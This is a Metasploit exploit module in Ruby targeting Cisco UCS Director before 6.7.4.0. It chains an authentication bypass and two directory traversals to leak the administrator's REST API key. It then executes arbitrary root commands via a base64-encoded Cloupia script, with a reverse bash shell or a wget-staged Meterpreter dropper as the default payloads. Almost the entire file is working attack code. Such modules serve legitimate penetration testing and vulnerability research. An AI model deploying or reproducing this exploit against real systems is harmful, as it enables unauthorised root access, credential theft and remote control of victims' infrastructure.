##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco UCS Director Cloupia Script RCE',
        'Description' => %q{
          This module exploits an authentication bypass and directory traversals
          in Cisco UCS Director < 6.7.4.0 to leak the administrator's REST API
          key and execute a Cloupia script containing an arbitrary root command.

          Note that the primary functionality of this module is to leverage the
          Cloupia script interpreter to execute code. This functionality is part
          of the application's intended operation and considered a "foreverday."
          The authentication bypass and directory traversals only get us there.

          If you already have an API key, you may set it in the API_KEY option.
          The LEAK_FILE option may be set if you wish to leak the API key from a
          different absolute path, but normally this isn't advisable.

          Tested on Cisco's VMware distribution of 6.7.3.0.
        },
        'Author' => [
          'mr_me', # Discovery and exploit
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-3243'], # X-Cloupia-Request-Key auth bypass
          ['CVE', '2020-3250'], # Directory traversal #2 (userAPIDownloadFile)
          ['ZDI', '20-540'], # X-Cloupia-Request-Key auth bypass
          ['ZDI', '20-538'], # Directory traversal #2 (userAPIDownloadFile)
          ['URL', 'https://srcincite.io/blog/2020/04/17/strike-three-symlinking-your-way-to-unauthenticated-access-against-cisco-ucs-director.html'],
          ['URL', 'https://srcincite.io/pocs/src-2020-0014.py.txt']
        ],
        'DisclosureDate' => '2020-04-15', # Vendor advisory
        'License' => MSF_LICENSE,
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => 'wget',
                'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('API_KEY', [false, 'API key if you have it']),
      OptString.new(
        'LEAK_FILE',
        [
          true,
          'Leak API key from this file (absolute path)',
          '/opt/infra/idaccessmgr/logfile.txt',
          nil, # enums
          %r{^/.+$} # LEAK_FILE must be an absolute path
        ]
      )
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/app/ui/login.jsp')
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    unless res.code == 200 && res.body.include?('Cisco UCS Director')
      return CheckCode::Unknown('Target is not running Cisco UCS Director.')
    end

    CheckCode::Detected('Target is running Cisco UCS Director.')
  end

  def exploit
    # Randomly named file is never written to the exports directory
    create_exports_dir(
      '/opt/infra/web_cloudmgr/apache-tomcat/webapps/app/cloudmgr/exports',
      rand_text_alphanumeric(8..42)
    )

    if (@api_key = datastore['API_KEY'])
      print_status("User-specified API key: #{@api_key}")
    else
      leak_api_key(datastore['LEAK_FILE'])
    end

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  def create_exports_dir(*path_parts)
    path = normalize_uri(path_parts)

    mime = Rex::MIME::Message.new
    mime.add_part(
      Faker::Hacker.say_something_smart, # data
      'text/plain', # content_type
      nil, # transfer_encoding
      %(form-data; name="#{rand_text_alphanumeric(8..42)}"; ) +
        # Directory traversal #1:
        #   /opt/infra/uploads/ApiUploads/../../../../foo/bar -> /foo/bar
        %(filename="../../../..#{path}") # content_disposition
    )

    print_status('Creating exports directory')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/cloupia/api/rest'),
      'headers' => {
        'X-Cloupia-Request-Key' => '' # Auth bypass
      },
      'ctype' => "multipart/form-data; boundary=#{mime.bound}",
      'vars_get' => {
        'opName' => 'userAPI:userAPIUnifiedImport',
        'opData' => '{}'
      },
      'data' => mime.to_s
    )

    unless res
      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
    end

    # It will always return 200, even on error
    unless res.code == 200
      fail_with(Failure::UnexpectedReply, "Target returned #{res.code} code")
    end

    # It will always return this error, despite creating the directory!
    unless res.body.include?('Cannot execute operation')
      fail_with(Failure::NotVulnerable, 'Could not create exports directory')
    end

    print_good('Successfully created exports directory')
  end

  def leak_api_key(*path_parts)
    path = normalize_uri(path_parts)

    print_status("Leaking API key from #{path}")

    # TODO: Chunk this!
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/cloupia/api/rest'),
      'headers' => {
        'X-Cloupia-Request-Key' => '' # Auth bypass
      },
      'vars_get' => {
        'opName' => 'userAPI:userAPIDownloadFile',
        'opData' => {
          # Directory traversal #2:
          #   /opt/infra/web_cloudmgr/apache-tomcat/webapps/app/cloudmgr/exports/../../../../../../../../foo/bar -> /foo/bar
          'param0' => "../../../../../../../..#{path}"
        }.to_json
      },
      'partial' => true
    )

    unless res
      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
    end

    # It will always return 200, even on error
    unless res.code == 200
      fail_with(Failure::UnexpectedReply, "Target returned #{res.code} code")
    end

    # There is no spoon
    if res.body.include?('There is no file with the name')
      fail_with(Failure::NotFound, "#{path} does not exist")
    end

    # An empty body may indicate permission denied
    if res.body.empty?
      fail_with(Failure::UnexpectedReply, "#{path} is empty or unreadable")
    end

    vprint_good("Successfully dumped #{path}")

    @api_key =
      res.body.scan(/"loginName":"admin".+"restKey":"(\h+)"/).flatten.first

    unless @api_key
      fail_with(Failure::NoAccess, 'Could not find API key')
    end

    print_good("Found API key: #{@api_key}")
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Executing command: #{cmd}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/cloupia/api-v2/generalActions'),
      'headers' => {
        'X-Cloupia-Request-Key' => @api_key
      },
      'ctype' => 'text/xml',
      'data' => cloupia_script(cmd)
    )

    unless res
      fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")
    end

    # It will always return 200, even on error
    unless res.code == 200
      fail_with(Failure::UnexpectedReply, "Target returned #{res.code} code")
    end

    # Just like Unix, a status of 0 indicates success
    unless res.body.include?('<operationStatus>0</operationStatus')
      fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")
    end

    print_good("Successfully executed command: #{cmd}")
  end

  def cloupia_script(cmd)
    # https://docs.oracle.com/javase/8/docs/api/java/util/Base64.Decoder.html
    script = <<~JAVA.tr("\n", '')
      new java.lang.ProcessBuilder(
        "bash",
        "-c",
        new java.lang.String(
          java.util.Base64.getDecoder().decode(
            "#{Rex::Text.encode_base64(cmd)}"
          )
        )
      ).start();
    JAVA

    <<~XML
      <?xml version="1.0" encoding="UTF-8"?>
      <cuicOperationRequest>
        <operationType>EXECUTE_CLOUPIA_SCRIPT</operationType>
        <payload>
          <![CDATA[
            <ExecuteCloupiaScript>
              <label>#{rand_text_alphanumeric(8..42)}</label>
              <script>#{script.encode(xml: :text)}</script>
            </ExecuteCloupiaScript>
          ]]>
        </payload>
      </cuicOperationRequest>
    XML
  end

end
